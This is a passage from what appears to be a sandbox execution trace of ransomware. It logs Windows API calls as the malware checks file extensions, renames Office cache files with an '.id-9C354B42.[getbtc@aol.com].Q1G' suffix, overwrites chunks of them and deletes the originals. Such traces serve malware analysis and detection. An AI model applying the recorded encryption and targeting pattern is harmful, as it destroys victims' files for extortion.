Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.473] lstrlenW (lpString=".doc") returned 4 [0047.473] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString=".docx") returned 5 [0047.473] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.473] lstrlenW (lpString=".pdf") returned 4 [0047.473] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString=".xls") returned 4 [0047.473] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString=".xlsx") returned 5 [0047.473] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.473] lstrlenW (lpString=".ppt") returned 4 [0047.473] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.473] lstrlenW (lpString=".zip") returned 4 [0047.473] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString=".rar") returned 4 [0047.473] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString=".bz2") returned 4 [0047.473] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.473] lstrlenW (lpString=".7z") returned 3 [0047.473] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.473] lstrlenW (lpString=".dbf") returned 4 [0047.473] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.473] lstrlenW (lpString=".1cd") returned 4 [0047.473] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.473] lstrlenW (lpString=".jpg") returned 4 [0047.473] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.474] lstrlenW (lpString=".doc") returned 4 [0047.474] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.474] lstrlenW (lpString=".docx") returned 5 [0047.474] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.474] lstrlenW (lpString=".pdf") returned 4 [0047.474] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.474] lstrlenW (lpString=".xls") returned 4 [0047.474] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.474] lstrlenW (lpString=".xlsx") returned 5 [0047.474] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.474] lstrlenW (lpString=".ppt") returned 4 [0047.474] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.474] lstrlenW (lpString=".zip") returned 4 [0047.474] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.474] lstrlenW (lpString=".rar") returned 4 [0047.474] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.474] lstrlenW (lpString=".bz2") returned 4 [0047.474] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.474] lstrlenW (lpString=".7z") returned 3 [0047.474] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.474] lstrlenW (lpString=".dbf") returned 4 [0047.474] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.474] lstrlenW (lpString=".1cd") returned 4 [0047.474] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0047.474] lstrlenW (lpString=".jpg") returned 4 [0047.474] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.474] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0047.474] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0047.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0047.475] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=2507776) returned 1 [0047.475] CloseHandle (hObject=0x188) returned 1 [0047.475] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0047.475] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.475] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0047.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0047.476] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.476] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.476] ReadFile (in: hFile=0x188, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.479] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.481] ReadFile (in: hFile=0x188, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.490] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.490] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.490] ReadFile (in: hFile=0x188, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.692] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.692] WriteFile (in: hFile=0x188, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0047.711] SetEndOfFile (hFile=0x188) returned 1 [0047.711] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f10070 [0047.711] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.711] WriteFile (in: hFile=0x188, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.712] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.712] WriteFile (in: hFile=0x188, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.718] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.718] WriteFile (in: hFile=0x188, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f10070 | out: hHeap=0x510000) returned 1 [0048.075] CloseHandle (hObject=0x188) returned 1 [0048.075] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.076] lstrlenW (lpString=".doc") returned 4 [0048.076] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.076] lstrlenW (lpString=".docx") returned 5 [0048.076] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.076] lstrlenW (lpString=".pdf") returned 4 [0048.076] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.076] lstrlenW (lpString=".xls") returned 4 [0048.076] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.076] lstrlenW (lpString=".xlsx") returned 5 [0048.076] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.076] lstrlenW (lpString=".ppt") returned 4 [0048.076] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.076] lstrlenW (lpString=".zip") returned 4 [0048.076] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.076] lstrlenW (lpString=".rar") returned 4 [0048.076] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.076] lstrlenW (lpString=".bz2") returned 4 [0048.076] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.076] lstrlenW (lpString=".7z") returned 3 [0048.076] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.076] lstrlenW (lpString=".dbf") returned 4 [0048.076] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.076] lstrlenW (lpString=".1cd") returned 4 [0048.076] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.076] lstrlenW (lpString=".jpg") returned 4 [0048.076] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.076] lstrlenW (lpString=".doc") returned 4 [0048.076] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.076] lstrlenW (lpString=".docx") returned 5 [0048.077] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.077] lstrlenW (lpString=".pdf") returned 4 [0048.077] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.077] lstrlenW (lpString=".xls") returned 4 [0048.077] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.077] lstrlenW (lpString=".xlsx") returned 5 [0048.077] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.077] lstrlenW (lpString=".ppt") returned 4 [0048.077] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.077] lstrlenW (lpString=".zip") returned 4 [0048.077] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.077] lstrlenW (lpString=".rar") returned 4 [0048.077] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.077] lstrlenW (lpString=".bz2") returned 4 [0048.077] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.077] lstrlenW (lpString=".7z") returned 3 [0048.077] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.077] lstrlenW (lpString=".dbf") returned 4 [0048.077] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.077] lstrlenW (lpString=".1cd") returned 4 [0048.077] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0048.077] lstrlenW (lpString=".jpg") returned 4 [0048.077] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.077] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0048.077] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0048.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.078] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=868864) returned 1 [0048.078] CloseHandle (hObject=0x188) returned 1 [0048.078] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0048.078] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.078] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.078] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.079] GetLastError () returned 0x0 [0048.079] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0048.178] WriteFile (in: hFile=0x1a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0048.359] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.359] WriteFile (in: hFile=0x1a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0048.360] SetEndOfFile (hFile=0x1a0) returned 1 [0048.360] CloseHandle (hObject=0x1a0) returned 1 [0048.360] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.360] SetEndOfFile (hFile=0x188) returned 1 [0048.369] CloseHandle (hObject=0x188) returned 1 [0048.369] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.369] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0048.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.369] lstrlenW (lpString=".doc") returned 4 [0048.369] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.369] lstrlenW (lpString=".docx") returned 5 [0048.370] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0048.370] lstrlenW (lpString=".pdf") returned 4 [0048.370] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.370] lstrlenW (lpString=".xls") returned 4 [0048.370] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.370] lstrlenW (lpString=".xlsx") returned 5 [0048.370] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0048.370] lstrlenW (lpString=".ppt") returned 4 [0048.370] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.370] lstrlenW (lpString=".zip") returned 4 [0048.370] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.370] lstrlenW (lpString=".rar") returned 4 [0048.370] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.370] lstrlenW (lpString=".bz2") returned 4 [0048.370] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.370] lstrlenW (lpString=".7z") returned 3 [0048.370] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.370] lstrlenW (lpString=".dbf") returned 4 [0048.370] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.370] lstrlenW (lpString=".1cd") returned 4 [0048.370] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.370] lstrlenW (lpString=".jpg") returned 4 [0048.370] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.370] lstrlenW (lpString=".doc") returned 4 [0048.370] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.370] lstrlenW (lpString=".docx") returned 5 [0048.370] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0048.370] lstrlenW (lpString=".pdf") returned 4 [0048.370] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.370] lstrlenW (lpString=".xls") returned 4 [0048.371] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.371] lstrlenW (lpString=".xlsx") returned 5 [0048.371] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0048.371] lstrlenW (lpString=".ppt") returned 4 [0048.371] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.371] lstrlenW (lpString=".zip") returned 4 [0048.371] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.371] lstrlenW (lpString=".rar") returned 4 [0048.371] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.377] lstrlenW (lpString=".bz2") returned 4 [0048.378] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.378] lstrlenW (lpString=".7z") returned 3 [0048.378] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.378] lstrlenW (lpString=".dbf") returned 4 [0048.378] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.378] lstrlenW (lpString=".1cd") returned 4 [0048.378] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0048.378] lstrlenW (lpString=".jpg") returned 4 [0048.378] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.378] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0048.378] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0048.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.378] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=868864) returned 1 [0048.378] CloseHandle (hObject=0x188) returned 1 [0048.378] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0048.379] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.379] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.379] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: 